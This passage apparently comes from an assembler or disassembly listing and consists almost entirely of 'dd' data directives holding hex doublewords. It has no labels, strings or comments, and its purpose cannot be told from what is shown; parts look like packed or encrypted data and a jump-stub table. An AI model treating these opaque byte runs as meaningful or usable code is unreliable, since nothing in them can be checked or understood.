0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 93C35747h, 647E7BCh, 6A0F4575h dd 1995FF00h, 8B07FA10h, 951AEBC0h, 0EA052693h, 37079D6Bh dd 0D55EF98Ch, 0DE2F0EE2h, 41919141h, 8E9C4042h, 0D3E9F7h dd 0F0340000h, 9CD75F54h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 6 dup(0) dd 1501E900h, 0EA680000h, 0E9080029h, 0FFFA56E8h, 2AEA68h dd 56DEE908h, 0C868FFFAh, 0E908002Bh, 0FFFA56D4h, 2CDD68h dd 56CAE908h, 4768FFFAh, 0E908002Dh, 0FFFA56C0h, 2E1668h dd 56B6E908h, 0C768FFFAh, 0E908002Eh, 0FFFA56ACh, 2F5668h dd 56A2E908h, 1168FFFAh, 0E9080030h, 0FFFA5698h, 317868h dd 568EE908h, 5168FFFAh, 0E9080032h, 0FFFA5684h, 339268h dd 567AE908h, 9668FFFAh, 0E9080034h, 0FFFA5670h, 360B68h dd 5666E908h, 6168FFFAh, 0E9080037h, 0FFFA565Ch, 394E68h dd 5652E908h, 5E68FFFAh, 0E908003Ah, 0FFFA5648h, 0A4DAC452h dd 4D831BF7h, 0F32975A0h, 9FD5C946h, 497F1FF2h, 9A776015h dd 0F321CE04h, 48C875ABh, 0A0732056h, 0A1F9C8FEh, 0E6AB2285h dd 33EA5007h, 0A2326CA7h, 4BD6C84Dh, 84E97C22h, 78D90F8Fh dd 0A3BF4F11h, 7E0AE09h, 69B9449Dh, 139E0014h, 69D044EAh dd 7307E0ADh, 158986DBh, 2D34EE6Fh, 406EB4F5h, 4A93h, 92BC2400h dd 0F4A69263h, 41A24804h, 48881848h, 0F47F1FF3h, 0E3B125CBh dd 0FF07E116h, 51C116A6h, 0E814A74Dh, 7E0E681h, 49500A8Bh dd 406EF211h, 2E70A3F8h, 3BD57AA3h, 9AFD863h, 0DC28h, 95AED800h dd 0CCACD887h, 0A7A35A00h, 57A7326Ch, 0FC15B92Dh, 8C320FDEh dd 294532DFh, 0FFE709C6h, 0D4158988h, 2287127Bh, 0FDA171F1h dd 55E04972h, 0EB7B23F0h, 3DA8FAC1h, 0EC92E93Eh, 0E7BD3AAEh dd 50C3FFE6h, 2B80184Eh, 203AB4EAh, 0B8F9631Bh, 19FAA74Dh dd 48D3CB49h, 122BB61Fh, 3D59E977h, 7E0D39Fh, 4BACE23Bh dd 0CAD3113Eh, 56DF0216h, 0B23D61B1h, 74902089h, 0FDDBA31h dd 0E136C61Fh, 8B386E30h, 6638DC86h, 8B49B2DBh, 9998102Eh dd 6027C601h, 91000012h, 36E31985h, 0DF8CC2DCh, 85326836h dd 31DE148Ah, 5488BEE0h, 4559B89Fh, 0ECB2620Fh, 970709B6h dd 3F5FB461h, 0C6E23A09h, 7E6AC63h, 0A7742B91h, 8EF10D6Ah dd 0B4FFE683h, 0FBCF25Bh, 0B50A9A04h, 5B993F5Fh, 0CA96F3A4h dd 9C501E3Ah, 0F54E07E0h, 9BD73E6Ah, 60E107E0h, 0A7679FA6h dd 0F305406Eh, 96000000h, 0B9A967BCh, 92BB4658h, 0D0759E29h dd 0A8D15C42h, 0E0BE5502h, 2BC82650h, 0B57B610Bh, 0FA177C0Fh dd 1A090293h, 0F51EA9F5h, 94B27C7Bh, 69921D81h, 0B2079700h dd 8C120260h, 0E2339823h, 1AAD53BCh, 0E6B071EEh, 612CE7FFh dd 73C3B080h, 285EC7D3h, 48CA987Bh, 4962ED56h, 702EE440h dd 0C353BCE5h, 0BBE32E83h, 1AA5F916h, 39D74BF1h, 6507E0EDh dd 1475D60Ch, 277CBC4Ch, 960AB0EEh, 0FDDCB42h, 0E63F34Ch dd 0CD659B03h, 5D039B78h, 7F3D61B0h, 99981168h, 6011B0EBh dd 91000011h, 36E31985h, 0DF8CC2DCh, 85326836h, 31DE148Ah dd 5488BEE0h, 4559B89Fh, 0ECB2620Fh, 970709B6h, 3F5FB461h dd 0C6E23A09h, 7E6AD63h, 0A7742B91h, 8EF10D6Ah, 0B4FFE683h dd 3862F25Bh, 9090474Dh, 0D23FE424h, 721841CCh, 0EB8C8734h dd 0E71E6CCFh, 0D8419AFFh, 6CA7EBA2h, 0D142A732h, 0BFFF97CDh dd 555E1295h, 8CF8CFA4h, 0FFE6C929h, 514DC257h, 8E349DC6h dd 0DA6A34E1h, 88138B85h, 0C126B95Fh, 3D164C52h, 510F7A24h dd 0CFA3A5C1h, 0B60F07E0h, 0F4AF1579h, 378CFF6Ah, 872CB3DAh dd 92573E6Fh, 775CAF29h, 0A830549Fh, 78E8A102h, 4BDECCE8h dd 0A3FCF851h, 0D68AFF18h, 0ABA02A46h, 0CDF7FF6Eh, 87367EF3h dd 0EC35DB5Fh, 65AE0393h, 0BD560339h, 729A23E1h, 4A8569E9h dd 1082ABh, 0F7A76F00h, 0A0FE14C1h, 4658BD6Ah, 0F2AC6310h dd 9C020FBCh, 967D3266h, 40ED237Bh, 0E794CAD4h, 923F7529h dd 18E71D81h, 0AE41A4C0h, 96F07E6h, 326CA752h, 65FB8EA7h dd 0A277B9D5h, 25B07E0h, 61E6BCCh, 0E009940Ah, 67A7E777h dd 0E0A1E84Bh, 0FB50E07h, 0DAC4659Bh, 8D18710Fh, 0E6BFFA61h dd 426C04FFh, 21A1F75Eh, 0C3DB39F9h, 0A60F38h, 86BEC57Fh dd 243874FEh, 3Ah, 0CA96F3B5h, 0D31D1E3Ah, 6EC707E0h, 178789DEh dd 0D2086DE1h, 41D207E0h, 967A275Dh, 32D7D08h, 0D1ED75C0h dd 7E16F6Eh, 0F8C13B94h, 6EA74C49h, 0D67CA530h, 0FCEEFh dd 96F38800h, 31DE848Eh, 1479046Dh, 0CD369FFFh, 0AB92213Dh dd 0B71007E6h, 5D41D227h, 5997A27h, 3828617Ah, 0D1528CA8h dd 17700FE6h, 81E13287h, 6BA10A94h, 0BE4955BEh, 0D240E4A5h dd 0FBFD52CCh, 0EBB69740h, 74D6F282h, 5307E0D9h, 0C0C17D29h dd 0B95F690Bh, 5A591770h, 0B19E6478h, 0F6DD776h, 92840000h dd 0E929D60Ch, 43D27FB5h, 9778255Bh, 0ED24D107h, 92477BB1h dd 3668A9h, 0A7DDC153h, 528816FAh, 0FA306EA5h, 54B7D32Bh dd 8207E6AFh, 79E0651Ch, 8FFFE683h, 0BAD666FAh, 7E6AA88h dd 2565F54Eh, 0E6AAA609h, 0CD73CC07h, 6B33E035h, 138B8835h dd 461A6F88h, 0C9589AB6h, 257E0FE0h, 649F9267h, 0DB7AB596h dd 0F03h, 407628EEh, 0E91F7F93h, 8FC5D93Ch, 3B712DE2h dd 0E51B838Eh, 0FE13FCB1h, 57BD6AA0h, 0AC641147h, 40FBCF2h dd 3D95649Ah, 0E6B0BE21h, 0C77EE407h, 0A7326CA7h, 26292D57h dd 49CE316Ch, 2049D4CAh, 77B73DB7h, 0E23F8EFAh, 1A848F3Ch dd 6620918Fh, 7540275Fh, 59B90E38h, 0EB91BA45h, 8E80Ah dd 0AF65BA00h, 0AE536BDEh, 87F00F9Ch, 67BC2AE1h, 426BF6A8h dd 124E3B9Ch, 0E6024282h, 0FFE68383h, 5DB358B1h, 0E78DB641h dd 0E6AA4E73h, 8F1F7807h, 8FC5D93Ah, 0E26D31E2h, 0E6AA4FB6h dd 246507h, 0F2138D11h, 9A9035F7h, 0ABEB7BE4h, 1D2BB56h dd 9A6844BEh, 9FC853BCh, 0E08618FAh, 0E0B22A6Ch, 1BF180Fh dd 9664A806h, 346B0A45h, 0BD00000Eh, 620F4559h, 0BB8EEB0h dd 0B15E940Ah, 5D0A405Eh, 80B4EAB4h, 712DE4CBh, 18868E3Bh dd 0C3DB35E2h, 6B33E08Dh, 0F20E6635h, 7E6B18Fh, 0A7984FB5h dd 42A7326Ch, 0DD42CDD1h, 78DD6836h, 177C0797h, 0CF08A1FDh dd 0BE2F6D15h, 8BC5FD04h, 26633874h, 0F4000008h, 0E68379E0h dd 0FC1858FFh, 0FFE68399h, 67C86EC7h, 92AE3E22h, 7E6AAADh dd 0AEEE7ED7h, 0A9EF526Eh, 5EB107E6h, 1A6FF40h, 0DA038E10h dd 128C8734h, 0BAE42FDCh, 623CD52Ah, 7508AED7h, 0A3332D5Ch dd 7D193A79h, 0D57BE827h, 0DF213Dh, 0AA030FE1h, 64E605ECh dd 4CEB2696h, 0D83h, 0C0F6A86Eh, 699FFF13h, 0F4559BCh dd 0BBF1AD62h, 659B030Eh, 7E937C31h, 0D73DEA20h, 2CE491C7h dd 848F3C72h, 0BD15E41Ah, 0E6B13EA1h, 47FE6407h, 0F0AE67BCh dd 28769D4Ah, 87DB389Dh, 618A1589h, 0FC1368F8h, 48EE17A2h dd 8C46B7B5h, 748B4D85h, 773EB38h, 0F37C0000h, 1E3ACA96h dd 7E6AB4Eh, 1A6FFF58h, 0C26FA5F9h, 72C24D51h, 5ABF31Dh dd 0E6AA2A91h, 0DB494007h, 6DFD6638h, 0E0C90F51h, 1CDA330Fh dd 96649F4Fh, 0F472114Ch, 0FD00000Ch, 0A24F8519h, 4BF82E70h dd 0F19ED4CAh, 9D4A801Eh, 0C0F42A74h, 0B1ED240Bh, 5846CE7Bh dd 39B7522h, 0ABF320CDh, 324EA675h, 7E6B2CFh, 0A7D88FF5h dd 42A7326Ch, 4442CDD1h, 0DA1219D3h, 7838748Ah, 6F5h, 837EE009h dd 1555FFE6h, 0E68396F9h, 0BD63BCFFh, 0A3332D5Ch, 0E6AA9487h dd 0A6C24207h, 7E6AA43h, 0A1731871h, 0C40494FDh, 3664F39Ah dd 1CC2476Eh, 0C4FAA46Fh, 633BD72Ch, 5C09AFD8h, 0AE11D6B7h dd 0F41EA054h, 9FBBFB8Bh, 7E7183Ch, 6581116Ah, 7E71802h dd 9E31D730h, 0CC5C0485h, 0E144B6B0h dd 0B9A20C0Fh, 3215FC1Dh, 67420069h, 6896640Fh, 0C398E2Dh dd 5EB80000h, 0B55D0A40h, 0F06B3E9h, 63AC598Fh, 0B958053Bh dd 0C67BAFE5h, 346A34DDh, 0DB118D87h, 86BCE22Eh, 2E643AD9h dd 88EB075Fh, 0AE07E6B3h, 6CA79148h, 0D142A732h, 0DE2642CDh dd 70158989h, 0D758FEA0h, 1AF94E1Dh, 0E231DE84h, 7EB686BCh dd 1C38748Fh, 180h, 326CA7ADh, 0CDD142A7h, 0D533697h, 0ADC7617Dh dd 628C07E0h, 582CE9E9h, 0BD06AC64h, 7EE1FD3Dh, 0A407E15Dh dd 5D7CDF4Bh, 51AA07E1h, 0FC1858E8h, 7E15D99h, 0D1578E8Eh dd 0D5167CC2h, 613DD77Ch, 7407ADD6h, 0E175E148h, 0B06AEB07h dd 6F7E71A9h, 330F40h, 0BCA00000h, 65F0AE67h, 5435963Ch dd 92607C0Ch, 9007E09Bh, 0F87DA737h, 9D0110A7h, 0FF22AB23h dd 339AC659h, 3D07E11Ch, 0C3FB02BCh, 61406F28h, 0EAh, 326CA7F2h dd 110257A7h, 0D73AE78Dh, 3CD73CC7h, 927DD262h, 0B258810Ch dd 4559BA1Fh, 0AF2E9B0Fh, 0BF54FFE6h, 1BFA4FDFh, 8CA8F883h dd 0FFE6AE29h, 0EF95FE57h, 0BDD919B1h, 0FFE6AE5Ah, 28892F88h dd 536FFF61h, 7E38D7Dh, 80C050A9h, 0E3770164h, 5747CB07h dd 7B46AC16h, 0EFB39B89h, 848E086h, 0B5405EB3h, 0D839E68Ch dd 0AD20839Fh, 0DBF707E2h, 7E2AD78h, 0AB04459Eh, 0B25F0C42h dd 8D692EECh, 0F4A9E62h, 0AD270h, 0A7F71F00h, 504EC471h dd 0F6A86D1Ah, 0A2FC13C0h, 4C52BF6Ch, 462DE216h, 0F09DD3CBh dd 97447A24h, 42EF2579h, 0C897CDD1h, 0B3F15470h, 0B91F07E6h dd 0D6AA702h, 0E6838EF1h, 0F41FB4FFh, 8DF61FAAh, 156EE24h dd 0E5486413h, 0BFFE682h, 0F6A349B2h, 0B34B811Dh, 7CD9B45Eh dd 9275BF48h, 0ACD560C9h, 6CA74F06h, 0D142A732h, 0AAB097CDh dd 49000004h, 3ACA96F3h, 0E0A4081Eh, 0B23D9607h, 0E0A31F86h dd 51912907h, 0E0A3D235h, 25799C07h, 2CE68BE4h, 18BEE772h dd 9ED6DD97h, 3C406EAFh, 1D3h, 7292BCCDh, 807B555h, 0E141B55Bh dd 0EDFFE701h, 1834C49Ch, 7E7292Bh, 7BD060B9h, 23D00698h dd 0A23AEF0h, 3551E17Fh, 0FE1093Bh, 0B9904EA7h, 0A29664D2h dd 9F9C867h, 1EF80000h, 759D4A80h, 0CF46F329h, 23EC99CFh dd 7998457Bh, 6BBEF25h, 74AAF41Dh, 1B514DC7h, 0C6FCA26Eh dd 6EA4FA19h, 0C82B479Fh, 0EE07E6B5h, 6CA7D188h, 257A732h dd 0DC05900Eh, 148A8936h, 7EE42F84h, 59820D91h, 9BB74AF0h dd 47CCB06Ah, 1DA8F61Bh, 85558BF4h, 38748F4Dh, 13AEBh dd 6CA77C00h, 0D142A732h, 29E83DCDh, 1BC1EA75h, 530D7CDDh dd 0AE0DA7C3h, 60B907E0h, 0AD42A9D5h, 0B44C07E0h, 48EEB05Fh dd 0E93E0DC7h, 0BFE8732Bh, 0E6F1A345h, 4BF1DC9Dh, 6EDE437Bh dd 45E140h, 3C910000h, 123BC6D8h, 96F3B56Ch, 0DEFA3ACAh dd 0FFE6837Bh, 8DCED045h, 0DAF68E34h, 7E09C0Ch, 0E636C11Ah dd 507C2BCh, 902091CCh, 0E08B1174h, 40E63F07h, 0E08B65CCh dd 34EE6F07h, 6E96F52Dh, 969340h, 0A7240000h, 42A7326Ch dd 0FF3FCFCFh, 0E68380E3h, 0D83B57FFh, 0FEFFE683h, 650B64A5h dd 0BCA66DD2h, 52DD4658h, 427826EDh, 0E6D671CEh, 0B2EC27FFh dd 4FA4E47Ch, 2A53DEC0h, 0E6D65BBEh, 8A3089FFh, 70006029h dd 0E3B57E54h, 0A3338C07h, 0A5DBC34Eh, 0C78519F8h, 9E622B7Ch dd 0B8F594CFh, 39000008h, 0DE8BC1DDh, 87346A34h, 2DDA108Eh dd 0D986BCE2h, 0FC306638h, 0EDB16047h, 940A0AB7h, 3F5FB15Eh dd 0E7B75C09h, 6E8AE2B1h, 7E6B60Bh, 0A71CD339h, 51FE346Ah dd 0EFA6DCC2h, 0A2326CA7h, 32D8C64Dh, 0AE254F9Fh, 92AFF1CAh dd 0EC5549C7h, 247A9946h, 2A707EEh, 0F3A00000h, 1E3ACA96h dd 7E6AB8Bh, 4170AF19h, 0D30B7FB3h, 3A8FDF6Ah, 0D439C4DAh dd 50F65F3Fh, 0E70475DCh, 44FE7F07h, 867E4B75h, 6DFC19C1h dd 1BFF7C7h, 51A64075h, 2B73A0C2h, 680E37C2h, 23787h, 80E01800h dd 57FFE683h, 8398FB17h, 536FFFE6h, 0FFE682F0h, 237CBD16h dd 0CC6D1C7Dh, 0E6834DB0h, 0B11A73FFh, 0AB6A0521h, 0BF1807E6h dd 6539DA2Fh, 0FA6D972Fh, 70183DA0h, 0C4C5705Bh, 0D76E834Ah dd 0F8F8431h, 1B1E6B84h, 25A6E2F1h, 63CF4B7Bh, 7E74400h dd 0D464CD26h, 0E170BEB8h, 0DCB240Fh, 96644A28h, 0B431D00Bh dd 3D000007h, 0E28FC5D9h, 8B386E30h, 31DE148Ah, 0DD8AC0DEh dd 346A34h, 0F1AD644Bh, 98060EBBh, 435BB562h, 0EBB3600Dh dd 728EE6B5h, 7E6B70Fh, 0BC18CF35h, 82FD607Ch, 0CA23FFE6h dd 29C7724h, 9D011277h, 0BC5F612h, 6F8BEC27h, 0FFE6830Ch dd 4278E13Ah, 748F3A72h, 172D838h, 5E880000h, 3F5B252Eh dd 0FFE61EDCh, 0D637B10Ah, 0CD842A66h, 0EF0B6CA7h, 0FFE6838Ch dd 0F9E761BAh, 0E4FD3CDFh, 0F85DE851h, 9EF3831Bh, 739C2777h dd 5B2E8FCDh, 784B7505h, 0F8ABB36h, 84A038DEh, 7E132EAh dd 88B43F98h, 7E13221h, 0D33E932Bh, 0EAA425CBh, 1949C61Bh dd 0F11AA5F9h, 0DA12E288h, 78406F39h, 65h, 2EA8FE28h, 4B7933EBh dd 234CD7C7h, 0EA240BAh, 76B222E5h, 96F319D0h, 0A5FA3ACAh dd 8CEF0B6Ch, 0BAFFE683h, 0DE52F861h, 7E09C10h, 0FB25B50Eh dd 93AF9882h, 7E09130h, 5883FD56h, 0FCA270B2h, 0A5AED93h dd 0B8435BB5h, 80E3FF8Fh, 0A607E0ABh, 0CC33A74Dh, 0D607E0ABh dd 5C949B55h, 0FA406EB7h, 9Ah, 607CBC8Bh, 0FFE682FDh, 7724CA23h dd 534BC69Ch, 17FA5FEAh, 7C97FC87h, 0E1329722h, 0C61387BDh dd 91FFE6FDh, 0FDD23551h, 0A700FFE6h, 0DFBF5401h, 1F4148A9h dd 0DC9D738Fh, 70C907E3h, 18868BE0h, 0C2DC35E2h, 62022B04h dd 1EBDF89Eh, 63Fh, 43A64B2h, 0ADE3BB57h, 53891500h, 0FF3569A6h dd 0A9DFBF52h, 3AD7C075h, 93812E64h, 0E828D50Bh, 40D380B6h dd 159285Eh, 0E6B982E5h, 934AB007h, 0FE346AA7h, 5E783C66h dd 0B65389BBh, 0E74C379Ah, 9B045DFFh, 0D3CB48F5h, 6CA7E69Dh dd 0D142A732h, 2EB097CDh, 49000000h, 0A7326CA7h, 42CDD142h dd 12F6B0E9h, 0CF679D01h, 797C4CA5h, 0E774FA5Dh, 55CF28FFh dd 382084DDh, 3B9A7BE5h, 0F8DF85EEh, 4Dh, 0B6CA791h, 0E6838CEFh dd 0EA25BAFFh, 69A64BB4h, 0E73CCC35h, 3CCF7529h, 610EC2ECh dd 0B2CB751h, 268BF165h, 0C053FFE7h, 0C8316DA2h, 523BD83Dh dd 0D7DEB89Bh, 37C22B47h, 50F8B2F3h, 0BDA15BDCh, 7A124856h dd 0F2F9AF50h, 4EF4D4A0h, 326CA797h, 0F0257A7h, 35DB048Fh dd 829AB5D4h, 0FB26C5E9h, 6581117Ah, 7E71BD6h, 0DB1BAB04h dd 86118D86h, 0D9B71A36h, 84DD07E6h, 4BC8751Bh, 0B2DD6F42h dd 0CD362DE2h, 7529EA97h, 0A8B8D1EAh, 4EC2FC18h, 0FC510FE7h dd 18117518h, 619B0D54h, 11D6DF8h, 0FFE6949Eh, 5C026BC4h dd 0D52ABA13h, 7D2A603Eh, 647D0896h, 8FAB3B25h, 7E0BD2Dh dd 514DC459h, 0AD3866ACh, 0C45D1B84h, 479E649Fh, 4E96D0Ch dd 0E080000h, 65AD5A90h, 0BF560339h, 13FCA9DFh, 69A8558Bh dd 16CBFF35h, 84BAE42Dh, 2B613DD7h, 0D60C927Eh, 7EB4EA29h dd 0D83B57AFh, 0FE07E6BAh, 6CA7E198h, 4662A232h, 0FFE682E3h dd 8343A6C2h, 1871FFE6h, 0D83B57D7h, 0FEFFE683h, 58963CA5h dd 0AB3668ABh, 46D1CD46h, 5B3FF92Ah, 0E0B0E6B8h, 38748FA8h dd 0DF254F8Fh, 4A5C2277h, 42E144B0h, 0B60FFFE6h, 4D2F10h dd 9FDF0000h, 0E6432083h, 47ED46FFh, 0CA96F390h, 6EA5FA3Ah dd 15168A30h, 0BF07E0D3h, 8F81D666h, 0D269CCE8h dd 3E9707E0h, 0BB247A99h, 0D2AC1185h, 9D7607E0h, 0C6514DC5h dd 51FE349Dh, 0B554DFBFh, 42Fh, 0AE112D6Dh, 0D407E0D2h dd 0A71ED57Bh, 57A7326Ch, 0FFD4BC2Dh, 0EA90573Ch, 38C8D63Dh dd 5079DCF8h, 4EA7FFE7h, 80096AA8h, 9A3450E0h, 4807E17Bh dd 0EA1464EFh, 4CED30AAh, 86FAA0ECh, 7E0E51Fh, 0EC7727E9h dd 88138B87h, 0D9813B6Ch, 6A39F374h, 0FBA0FE15h, 0D6FF8A14h dd 0ED286030h, 27C6406Eh, 57000000h, 3ACA96F3h, 0E9742AE5h dd 66821AC0h, 7E09B98h, 0B6E26DC6h, 7E09B4Fh, 171ED859h dd 406EA6DFh, 0E37Dh, 6CA70E00h, 0CF42A732h, 83298CA8h dd 0FE57FFE6h, 6EA50A95h, 0C64BA030h, 0D3B690C7h, 46AF4B5Bh dd 59EC92BBh, 4AADC909h, 78FFE744h, 47CC791Fh, 30AD2157h dd 3FFFE749h, 0D0728D15h, 3B57E12Ah, 0FFE6DAD8h, 963CA5FEh dd 3E742AE9h, 8B47CA6h, 0CA0B8F7h, 6BF6A867h, 24EF9C42h dd 0B3D6EF7Ah, 1B011DADh, 4707E0B0h, 3257B8EEh, 0A6829E2Eh dd 0C00FDD67h, 9282D767h, 79CE660Ch, 839FDF98h, 0FFED6320h dd 1E81ED46h, 0F5FFED63h, 0ED6376D9h, 2439CFFh, 5BB040A9h dd 240E6B8h, 24E2BC55h, 99984727h, 0FC2AC904h, 0F5000002h dd 9A477D21h, 43F02678h, 0E996CCD2h, 95427826h, 0B8EC227Ch dd 0A9F51C03h, 504EC673h, 0FBA36D1Ah, 0A3FB18C5h, 2A469E6Dh dd 7E6BCC7h, 0A7D087EDh, 51FE346Ah, 0EFA6DCC2h, 0EB277CBCh dd 93FF28B3h, 0FFE68330h, 0F657FD56h, 278AA693h, 4DFFE683h dd 0E54864F4h, 0BFFE682h, 9DB949B2h, 7E09BCFh, 97E772CBh dd 1EDBE6Dh, 0E48AF836h, 0E0F10970h, 0D8921307h, 6EFD99D1h dd 0E73740h, 0BCC80000h, 50F6A867h, 0A32E70A3h, 3BCBD33Eh dd 0DA382AE6h, 0A71039C4h, 0C5426E01h, 0BBFFE688h, 76B64658h dd 0FA9BB74Ch, 44B02D5Ch, 0FFE725E1h, 0D210B60Fh, 20B0EE25h dd 0F71A48CBh, 5983EA7h, 33C39DECh, 8D72C9F3h, 575403B5h dd 63573DB1h, 2A8307E1h, 59F693F4h, 0F30E1DCBh, 4EDE4721h dd 0DDFAF732h, 0E474CD0Fh, 31E0828Fh, 977DE26Dh, 0EA537C07h dd 5EB34B81h, 245EE9B5h, 1FEE8BABh, 640A7331h, 86445AB7h dd 9998008Bh, 0EC82215Ch, 5000001h, 0AA578D11h, 53003668h dd 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch, 0B9E52C13h, 603ED683h dd 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh, 7E6BDD7h, 0A7E097FDh dd 0C25B236Ah, 7F482B9Eh, 0DF318616h, 44CF34BFh, 0D4BF15Ah dd 3CDAB360h, 31EB7FF9h, 48F0F03h, 0D30972DBh, 326CA71Ch dd 0E0257A7h, 36DC0590h, 0DE148A89h, 2CBCE231h, 0BB603ED7h dd 93BC4757h, 48415AEDh, 526C8818h, 7007E099h, 0E0328717h dd 99187B97h, 0E53E07E0h, 22C8F17Ch, 1AD4FD8Fh, 31C1DD36h dd 0EB2A38DCh, 96FF28B3h, 326CA60Bh, 84E523C9h, 8BCB5B05h dd 0E0990C6Fh, 3BE13A07h, 0AE9187A3h, 0A83D0FDAh, 818F346Ah dd 0E424B41Dh, 0E68665C8h, 8C328BFFh, 0E37F94F9h, 0B8E16C32h dd 0A56ABF4Fh, 0DF4856BDh, 0FD4DA639h, 0A6316DA8h, 86D73A56h dd 0A4FDFFE6h, 5A14953Bh, 999C7C2h, 864AADC9h, 1F78FFE6h dd 6006987Ah, 9BB6ACC8h, 0CB2407E0h, 732BE895h, 0D58D83E8h dd 0AAD35E40h, 0FB24B641h, 0F2327241h, 0E09973D6h, 0DC48A107h dd 7E09979h, 9FFF12A7h, 0DD82EB14h, 14C16737h, 8699FFFh dd 671A381h, 0E09987EAh, 0EB54AD07h, 0BCD6F282h, 9B0FDAAFh dd 83DC3F5Bh, 0B10AFFE6h, 2642C20Bh, 0FFE683C3h, 832386A2h dd 0F851FFE6h, 65F55EB7h, 0F69C0210h, 8915FE63h, 89436CFEh dd 85A198F1h, 0FFE68322h, 0FE8EF750h, 0E099C8E2h, 0C949DE07h dd 0B9E530D5h, 0D0B91A50h, 0A6E40090h, 940FE0C0h, 0C84BB03Bh dd 9E29759Ah, 0B4CF324Eh, 9CF50FE0h, 1C828E33h, 43D07DB3h dd 0B0A4D05Bh, 0C6673581h, 9EEF2176h, 6C97CB54h, 0CC57C013h dd 94F713A3h, 0C258950Ch, 8842C369h, 0F92F6FA4h, 4CD7C74Ch dd 0EB7628E7h, 92763059h, 3AE71D81h, 9B3AC5D9h, 3, 0A75CBB34h dd 3FA42F6Fh, 0DA3FCAD4h, 78DD6836h, 1277029Ch, 0AF149FFFh dd 4CB13C62h, 0EB50DBC3h, 84E9742Ah, 5285108Eh, 8904EC83h dd 0BB532424h, 4, 4245C01h, 0EAC685Bh, 1C890000h, 5D1F6824h dd 2C890000h, 0ABBD5524h, 55080028h, 44240481h, 5B4D7B61h dd 6144EB81h, 545D4D7Bh, 83242C8Bh, 535304C4h, 0FC73E3BBh dd 245C0107h, 458F5B04h, 86D8108h, 7FC73E3h, 52242C8Bh dd 0C281E289h, 4, 4C281h, 14870000h, 1C8B5C24h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 0FA41FFE9h, 9864F8FFh dd 0CBEA6513h, 1EF8BCF6h, 0B80CC76Fh, 8003C6Fh, 0E0FFC503h dd 4096EED1h, 3DC83935h, 19DA75CDh, 38EE34B4h, 0F6569BCh dd 5DD75BB6h, 0CFE1B80h, 37A5D26Bh, 74FF29B3h, 30D3DAA8h dd 347CEFDEh, 411A9784h, 7B8B0045h, 5B3450B8h, 5C237716h dd 5E8h, 83157B00h, 8B0FB31Fh, 5, 0D3F38166h, 81F55A50h dd 74ACC2h, 0A7F18000h, 1E4D6FBFh, 93F78157h, 0F571E51h dd 328BC6B7h, 10E9h, 0FA481C00h, 0A382257Ah, 95E2B26Fh dd 5BCD9275h, 0DAEE81D4h, 0F90DC170h, 40C7EE81h, 0EE8164CDh dd 2606DFF1h, 5BFEB157h, 8FDF8B56h, 0C3BF0F02h, 473EEA81h dd 53B52125h, 473AC281h, 66602125h, 0FD6E5BEh, 587h, 0D7816600h dd 4F61B13Fh, 23850Fh, 0EE90000h, 1000000h, 0A64C2711h dd 187A0FBEh, 0FA5A1D27h, 23E974h, 0FB800000h, 494FBBDBh dd 0E80F7CA3h, 0E9CB8AB2h, 0FFFFFF7Ah, 0F93C4667h, 0BA0E072Eh dd 3EB4B7E8h, 52D0003Eh, 2DE9B3h, 0D0660000h, 36A3h, 9 dup(0) dd 0E9000000h, 4DBh, 3C722CEAh, 0E51B838Fh, 8BC1DD38h dd 376D31DEh, 0E117878Ah, 20FF8ADh, 5BB9669Ch, 0B0600D43h dd 80BB8EEh, 39916096h, 0E6C1BA1Dh, 0CB82E807h, 0A7326CA7h dd 99CFCF42h, 0EC7727ECh, 3BD68C87h, 6C88D863h, 0FFE68309h dd 0C75DE37h, 0A8F61C81h, 0D18BC41Dh, 0D43C26EDh, 0BB1E3ACAh dd 0E9FFE683h, 44F12790h, 7531C1CCh, 2CA7D874h, 30E08DC3h dd 967EE36Eh, 474E7808h, 2A618AA8h, 0EA7C0FB5h, 0ED2307C1h dd 230B6E8Ah, 0CEEAFFE7h, 0FFE7236Bh, 0A6FF4099h, 1A6F073Dh dd 0F51EA9F5h, 2D71A24Fh, 231076A2h, 0D041FFE7h, 2ED70F16h dd 50753875h, 6000000h, 0A7326CA7h, 0E683167Bh, 18D243FFh dd 748ED911h, 0D7738h, 0FD270000h, 41252AE2h, 1FF095A7h dd 0A722D97Fh, 6737226Bh, 0A1BB67Ah, 61B116A1h, 0D62B23Dh dd 45F29806h, 2E91ADCAh, 54FFE715h, 0AE0792FBh, 3BD7BB75h dd 93802D63h, 0A71ED50Bh, 44A9346Ah, 2945D0CEh, 0B75A3EF8h dd 8CE849D6h, 0A91237BEh, 4E50C419h, 56BD6AA8h, 31A20521h dd 77D0FFE7h, 0F71E830Eh, 31016480h, 46CBFFE7h, 55BE1758h dd 66985C5h, 2CFFE731h, 759A2DD3h, 0EB333AF4h, 89387536h dd 7Bh, 346AA71Ah, 11127AA4h, 3090DC55h, 7DA7F78Ah, 420A89C7h dd 43F096A6h, 0E841CCD2h, 11F5AFh, 5CB90E9Eh, 0E88EB742h dd 8A14FDAAh, 29759AFFh, 3EF8799Eh, 74A4EF37h, 9181D638h dd 5686670Dh, 36000000h, 25CDE20Ch, 6B1181BDh, 346AA7B4h dd 0ABCC44A9h, 0E6832C8Fh, 4EC55AFFh, 339CC550h, 0BAFB3FCAh dd 37DC3100h, 0DB3DC67h, 0D0DCB160h, 0E18613EDh, 0C42D719Eh dd 0A76E255Bh, 7CA8336Bh, 0FFE68316h, 151CD647h, 38748EDDh dd 87Bh, 3AD62B00h, 0AB0D964h, 306EA753h, 0F91555A5h, 0FFE68396h dd 0D1E963BCh, 0B9DA14F9h, 38DB882Eh, 